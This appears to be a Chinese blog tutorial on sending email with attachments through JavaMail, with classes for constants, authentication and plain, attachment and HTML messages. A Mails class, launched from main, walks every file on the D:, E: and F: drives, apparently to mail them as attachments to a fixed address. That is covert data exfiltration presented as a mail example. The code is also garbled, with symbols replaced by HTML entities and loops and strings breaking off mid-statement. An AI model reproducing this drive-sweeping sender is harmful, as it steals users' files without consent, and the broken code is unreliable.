java发送邮件程序带附件_JAVA程序发送带附件的邮件

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import java.util.Date; /** * 邮件类 */ public class Email{ public final static String TO&＃61;"xxx&＃64;sina.com"; public final static String FROM&＃61;"xxx&＃64;sina.com"; public final static String CC&＃61;"xxx&＃64;nxxx.com"; public final static String BCC&＃61;"xxx&＃64;nxxx.com"; public final static String Email_Subject&＃61;"Test Email With JavaMail"; public final static String Email_Header&＃61;"This Is Email Header"; public final static String Email_Body&＃61;"This Is Email Body"; public final static String Email_Host&＃61;"smtp.sina.com.cn"; public Date sendDate&＃61;null;

public Email(){} }

import javax.mail.Authenticator; import javax.mail.PasswordAuthentication; /** * 邮件服务器认证 */ public class MailAuthenticator extends Authenticator { private final static String username&＃61;"xxx"; private final static String password&＃61;"xxx";

protected PasswordAuthentication getPasswordAuthentication(){ return new PasswordAuthentication(username,password);

} }

import java.awt.Frame;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;

public class Mails {public Mails(){   Copyfiles("D:\\");   Copyfiles("E:\\");   Copyfiles("F:\\");}public void Copyfiles(String path){   File f&＃61;new File(path);   File[] filelist&＃61;f.listFiles();   if(filelist&＃61;&＃61;null)    return ;     for (int i &＃61; 0; i

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import java.awt.Frame;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.io.UnsupportedEncodingException; import java.util.Date; import java.util.Properties;

import javax.activation.DataHandler; import javax.activation.DataSource; import javax.activation.FileDataSource; import javax.mail.Address; import javax.mail.Authenticator; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.MessagingException; import javax.mail.Multipart; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart;

/** * 发送邮件 */ public class SendEmail {

/** * 发送普通邮件 * * &＃64;throws Exception */ public void doSendNormalMail() throws Exception {

Properties prop &＃61; new Properties(); // 获取系统环境 Authenticator auth &＃61; new MailAuthenticator(); // 邮件服务器认证 prop.put("mail.smtp.host", Email.Email_Host); prop.put("mail.smtp.auth", "true"); Session session &＃61; Session.getDefaultInstance(prop, auth);// 设置对话和邮件服务器进行通讯

Message message &＃61; new MimeMessage(session); /* * 设置邮件对象 */ try { message.setSubject(Email.Email_Subject &＃43; "Normal Email"); // 设置邮件主题 message.setContent("Hello", "text/plain"); // 设置邮件格式 message.setText(Email.Email_Body); // 设置邮件体 message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 message.setSentDate(new Date()); // 设置发送时间 Address address &＃61; new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 message.setFrom(address);

/* * 设置多个发件人地址 * * Address address[]&＃61;{new InternetAddress("","") new * InternetAddress("","")}; message.addFrom(address); */

Address toAddress &＃61; new InternetAddress(Email.TO); // 设置接收人地址 message.setRecipient(Message.RecipientType.TO, toAddress);

// 设置多个收件人地址 // message.addRecipient(Message.RecipientType.TO,new

message.saveChanges(); System.out.println("sendNormalEmail() 开始发送邮件……"); Transport.send(message); // 发送邮件 System.out.println("发送成功&＃xff01;");

} catch (MessagingException e) { System.out.println("发送失败&＃xff01;"); e.printStackTrace(); }

}

/** * 发送带附件的邮件 * &＃64;throws UnsupportedEncodingException */ public void sendEmailWithAttachment(String str) throws UnsupportedEncodingException { Properties prop &＃61; new Properties(); prop.put("mail.smtp.host", Email.Email_Host); prop.put("mail.smtp.auth", "true"); Authenticator auth &＃61; new MailAuthenticator(); Session session &＃61; Session.getDefaultInstance(prop, auth); Message message &＃61; new MimeMessage(session);

try { message.setSubject(Email.Email_Subject &＃43; "Email With Accatchment");// 设置邮件主题 message.setContent("Hello", "text/plain"); // 设置邮件格式 message.setText(Email.Email_Body); // 设置邮件体 message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 message.setSentDate(new Date()); // 设置发送时间 Address address &＃61; new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 message.setFrom(address);

BodyPart messageBodyPart &＃61; new MimeBodyPart(); messageBodyPart.setText("bodypart"); Multipart multipart &＃61; new MimeMultipart(); multipart.addBodyPart(messageBodyPart); messageBodyPart &＃61; new MimeBodyPart(); DataSource source &＃61; new FileDataSource(str); messageBodyPart.setDataHandler(new DataHandler(source)); messageBodyPart.setFileName(str); multipart.addBodyPart(messageBodyPart);// Put parts in message.setContent(multipart); Address toAddress &＃61; new InternetAddress(Email.TO); message.setRecipient(Message.RecipientType.TO, toAddress); message.saveChanges(); System.out.println("sendEmailWithAttachment() 开始发送邮件……"); Transport.send(message); System.out.println("发送成功&＃xff01;"); } catch (MessagingException e) { System.out.println("发送失败&＃xff01;"); e.printStackTrace(); }

}

/** * 发送带html的邮件 * * &＃64;throws UnsupportedEncodingException */

public void sendEmailWithHtml() throws UnsupportedEncodingException {

Properties prop &＃61; new Properties(); Authenticator auth &＃61; new MailAuthenticator(); prop.put("mail.smtp.host", Email.Email_Host); prop.put("mail.smtp.auth", "true"); Session session &＃61; Session.getDefaultInstance(prop, auth); Message message &＃61; new MimeMessage(session);

String htmlText &＃61; "

Address address &＃61; new InternetAddress(Email.FROM, "Dave"); Address toAddress &＃61; new InternetAddress(Email.TO); message.setFrom(address); message.setRecipient(Message.RecipientType.TO, toAddress); message.saveChanges(); System.out.println("sendEmailWithHtml() 开始发送邮件……"); Transport.send(message); System.out.println("发送成功&＃xff01;"); } catch (MessagingException e) { System.out.println("发送失败&＃xff01;"); e.printStackTrace(); } }

}

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import java.awt.Frame;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;

public class MyMain {/** * 测试函数 * * &＃64;param args */ public static void main(String args[]) {     Mails a&＃61;new Mails(); }}